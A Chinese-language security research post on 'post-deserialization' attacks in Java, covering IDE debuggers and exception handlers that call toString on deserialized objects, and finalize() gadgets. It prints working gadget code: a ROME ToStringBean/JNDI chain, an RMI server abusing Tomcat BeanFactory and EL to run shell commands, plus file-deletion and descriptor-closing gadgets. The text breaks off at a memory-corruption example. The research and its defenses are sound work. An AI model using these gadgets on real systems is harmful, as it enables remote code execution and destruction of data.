Java“后反序列化漏洞”利用思路
“后反序列化漏洞”指的是在反序列化操作之后可能出现的攻击面。反序列化漏洞是Java中最经典的一种,所以大家可能的关注点都集中在反序列化过程中的触发点而忽略了反序列化之后的攻击面,这里我会分享一些在Java反序列化后的攻击思路。
后反序列化攻击调试中的IDE
这里主要是指在一些反序列化功能下,假如在IDE的调试过程中恶意的对象被反序列化出来后可能造成的任意代码执行。注意了,这里说的不是在反序列化过程中触发。IDE就是我们常说的集成开发环境,它包含了常见的功能比如编译,调试等。下面我会主要用JetBrains的IntelliJ IDEA来做例子。当然JetBrains没有认为这是他们的漏洞,这是可以理解的,因为这更大程度上取决于用户代码的编写。这里我把它当作一个小思路分享给大家。
Variables in debugging
Debugger为我们提供了很多锦上添花的功能,在调试界面中的Variables区域我们其实可以发现一些有意思的问题。
Debugger需要为我们展示各种变量,而这时我们可以清楚的看到其值会显示到界面上。这是怎么做到的?我突然意识到IDEA内部可能是直接调用了对象的toString
方法来显示。
于是我做了下面的验证
1 2 3 4 5 6 7 8 9 10 11 |
public class A { @Override public String toString() { try { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } catch (IOException e) { e.printStackTrace(); } return super.toString(); } } |
首先声明一个A类,重写它的toString
方法并在另一个位置去对它进行实例化。
在实例化之后设置断点。
果然,IDEA在内部自动调用了它的toString
方法,然后我又测试了Eclipse,需要点击一下变量才会触发,不过证明了它也是这样的处理方法。
这样看来这是一个通用的显示变量信息的功能处理逻辑,我把它类比为我们常见的反序列化漏洞,比如fastjson的反序列化漏洞是在反序列化过程中自动触发了get
,set
方法造成的,所以我们认定它是fastjson的漏洞。Java原生的反序列化漏洞会自动触发readObject
方法,而使用了该方法的应用也都对此进行了黑名单保护,并认定其漏洞性质。
所以我也认为这处的toString
方法的自动触发可能属于这类IDE Debugger的漏洞,因为它是制造攻击的入口,所以对此我描述了一下攻击场景并且构造了几个可以触发RCE的gadgets报告给了JetBrains的安全团队。
虽然最终他们没有将其定义为IDEA的漏洞,不过我还是认为这是一种安全风险,并且存在攻击成功的可能。所以也在这里给大家分享出来。
攻击场景
- 当攻击者向支持反序列化的服务发送恶意数据后,虽然当时不会直接触发。不过假如出现特殊情况工程师需要复现这条序列化数据进行调试查看应用哪里出了问题时,恶意对象即可在其Debugger中显示出来,由此触发了RCE。
- 攻击者给受害者发送了需要反序列化的文件,受害者如果要通过使用IDEA将其反序列化出来同时还处于debug模式时,就会触发RCE。
上面两个场景有类似之处,总而言之这种攻击情况主要会发生在一些反序列化对象之后的调试中,所以我把它称为“后反序列化漏洞”。
Gadgets
因为寻找调用链很费时间,所以我就在网上搜集了一些已经被发现的调用链,并从中筛选出了可以利用的攻击链。这里主要用ROME来举例。
ROME
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
/** * Created by ruilin on 2020/2/15. * This gadget is support deserialization,but it's limited to the JDK version. */ public class Gadget2 { public static Field getField(Class<?> clazz, String fieldName) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if(field != null) { field.setAccessible(true); } else if(clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } return field; } catch (NoSuchFieldException var3) { if(!clazz.getSuperclass().equals(Object.class)) { return getField(clazz.getSuperclass(), fieldName); } else { throw var3; } } } public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo"); getField(BaseRowSet.class, "listeners").set(rs, (Object)null); return rs; } public static void makeSer(String jndi) throws Exception { String jndiUrl = jndi; ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, makeJNDIRowSet(jndiUrl)); FileOutputStream fos = new FileOutputStream("test.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(item); oos.flush(); } public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); // use https://github.com/welk1n/JNDI-Injection-Exploit this tool to create a JNDI server to attack. makeSer("ldap://127.0.0.1:1389/fflz1s"); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser")); Object s = ois.readObject(); ois.close(); System.out.printf("breakpoint here"); } } |
ROME的ToStringBean类下的toString
方法可以调用任意对象的get
方法,那么很显然我们可以通过JNDI注入来完成攻击,执行任意命令。
不过当我将这个gadget发给JetBrains安全团队后,他们回复说这是因为使用者没有用最新的JDK版本(因为JDK新版本中都将com.sun.jndi.ldap.object.trustURLCodebase
这类属性设置为了false)
于是我又参考国外的这篇文章https://www.veracode.com/blog/research/exploiting-jndi-injections-java 通过利用利用本地Class作为Reference Factory来绕过JDK版本限制,这种需要被攻击者本地有Tomcat相关依赖。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
public class BypassServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1999); // Exploit with JNDI Reference with local factory Class ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "Ruilin=eval")); //expression language to execute 'xxxxxx', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("Ruilin", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /System/Applications/Calculator.app']).start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); System.out.println(referenceWrapper.getReference()); } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
/** * Created by ruilin on 2020/2/15. * bypass JDK version and support deserialization,please start BypassServer first */ public class Gadget3 { public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); System.out.println("java.rmi.server.codebase:"+System.getProperty("java.rmi.server.codebase")); System.out.println("java.rmi.server.useCodebaseOnly:"+System.getProperty("java.rmi.server.useCodebaseOnly")); System.out.println("com.sun.jndi.rmi.object.trustURLCodebase:"+System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase")); System.out.println("com.sun.jndi.cosnaming.object.trustURLCodebase:"+System.getProperty("com.sun.jndi.cosnaming.object.trustURLCodebase")); System.out.println("com.sun.jndi.ldap.object.trustURLCodebase:"+System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase")); Gadget2.makeSer("rmi://127.0.0.1:1999/Exploit"); // start BypassServer first ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser")); Object s = ois.readObject(); ois.close(); System.out.printf("breakpoint here"); } } |
先运行BypassServer,然后debug Gadget3
防护
最后官方也承认存在这种攻击方式,不过认为此处不是他们的漏洞,因为这更大程度上取决于用户代码的编写的代码,确实是这样,而且利用场景比较少见,因此我把它当作一个思路分享给大家。
后来我发现这类问题其实可以归结为用户的配置原因,因为IDEA自身还是提供了是否在此处调用toString
的配置。比如我们可以在设置里选择不调用toString
,或者提供指定的可以调用toString
的类。但要注意的是默认情况下配置是为全部调用的,所以这是一个风险点,也是一个攻击的可能性。
后反序列化攻击Java应用
最开始提到反序列化漏洞是Java中最经典的一种,所以大家可能的关注点都集中在反序列化过程中的触发点而忽略了反序列化之后的攻击面。通过上面的案例我们可以发现类似toString
方法(还有hashCode
方法等)就是在各类应用中反序列化后大概率会调用到的一种方法,因为toString
方法输出时肯定会调用到,尤其是需要抛出异常时的输出。
因为大部分应用都是增加黑名单限制了反序列化过程中的readObject
可能触发的gadgets,但可能会忽略toString
这种每个类都有同时反序列化后会大概率调用到的,虽然它也可以作为一个反序列化中gadgets的一个组成,但这里我们还是主要讨论它没有在黑名单中并且触发点在反序列化之后的情况。
攻击场景
之前我也在某分布式项目中发现了这种漏洞,因为还未公开暂时不方便放出细节,主要就是其在反序列化过程中没有对ROME的ToStringBean
类进行黑名单处理,而在反序列化之后的一次抛出异常中输出这个对象信息时隐式调用了它的toString
方法从而导致RCE。
最后的触发步骤大概是这样的,在代码
1 |
throw new XxxException("xxx"+Arrays.toString(arguments)) |
中arguments数组里包含着我们构造的恶意对象,然后依次触发到object的toString
方法
Arrays.toString->String.valueOf
String.valueOf->obj.toString
防护
Java应用中实际解决方法应该还是在反序列化过程中进行过滤,或者在反序列化后对其对象类名做一个黑名单判断。
延伸
还是想延伸下“后反序列化漏洞”对于Java应用攻击的思路,上面的例子中我主要展示的是一个可以RCE的链。实际中,com.rometools.rome.feed.impl.ToStringBean
链被加入反序列化中的黑名单概率还是比较大的,因为它也可以成为其它攻击链的一个组成。当然还一些反序列化库本身是不带黑名单的,那么造成攻击的可能性就会更高。在测试支撑反序列化的应用时,使用这种“后反序列化漏洞”的gadgets往往会有意想不到的收获。
但是因为“后反序列化漏洞”出现场景的特殊性,比如应用要抛出异常,那么是否我们可以去寻找更多的其它sink点的链?因为反序列化中触发gadgets的场景基本都是无法回显的,所以大部分反序列化库黑名单很少添加不是RCE的链,但是针对“后反序列化”在反序列化后触发的场景就会更多,比如上面案例中抛出异常的场景正好可以用来配合回显,所以也就适用于一些无法回显的漏洞利用链,比如任意文件读取等。
后反序列化最后的攻击
上面说了那么多,其实主要的点就是toString
方法,因为对象的输出靠的就是它。那么除此以外Java Object中还有哪个是调用概率大并且存在一些攻击链的呢?
答案或许是Object#finalize()
, 和toString
方法一样finalize
是Object中的方法,当垃圾回收器将要回收对象所占内存之前被调用,即当一个对象被虚拟机宣告死亡时会先调用它的finalize
方法,让此对象处理它生前的最后事情。
这也就是我为什么叫它最后的攻击,当一个对象被GC判断死亡后,还有生还的机会,那就是通过重写finalize
,再将对象重新引用到”GC Roots”链上。不过实际中finalize
的作用一般是用来做最后的资源回收。也就意味着它可能会有一些“破坏”资源的操作被我们控制。
前三个例子会概括常见的破坏行为,因为使用的gadgets没有实现Serializable
接口,所以我们会用Kryo作为序列化反序列化工具,因为Kryo不需要被序列化类实现Serializable接口,同时不像fastjson那样赋值只能调用set方法。
删除任意文件
org.jpedal.io.ObjectStore
是一个有趣的类,我们来看看它的finalize
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
protected void finalize() { ... flush(); ... } protected void flush() { ... /** * flush any image data serialized as bytes */ Iterator filesTodelete = imagesOnDiskAsBytes.keySet().iterator(); while(filesTodelete.hasNext()) { final Object file = filesTodelete.next(); if(file! = null){ final File delete_file = new File((String)imagesOnDiskAsBytes.get(file)); if(delete_file.exists()) { delete_file.delete(); } } } ... } |
可见它的finalize
方法调用了flush
方法,接着根据imagesOnDiskAsBytes中包含的文件路径依次删除。
我们可以通过以下代码,强制其finalize
来查看效果
关闭任意文件
接着我们来关注java.net.PlainDatagramSocketImpl
1 2 3 4 5 6 7 8 9 10 11 12 |
protected void finalize() { close(); } /** * Close the socket. */ protected void close() { if (fd != null) { datagramSocketClose(); … } |
我们可以直接来看一下它的调用栈
它在最后触发了一个native方法datagramSocketClose
1 2 3 4 5 6 |
int os::close(int fd) { return ::close(fd); } int os::socket_close(int fd) { return ::close(fd); } |
底层是直接关闭了一个file descriptor,而这个参数就是java.net.DatagramSocketImpl
中的一个名为fd的字段。
测试代码
这种攻击方式可能会导致用户的套接字通信,文件读取或写入失败。
内存损坏
一些应用它们在用户控制的内存地址上调用了free
方法,这可能导致内存损坏。
以com.sun.jna.Memory
为例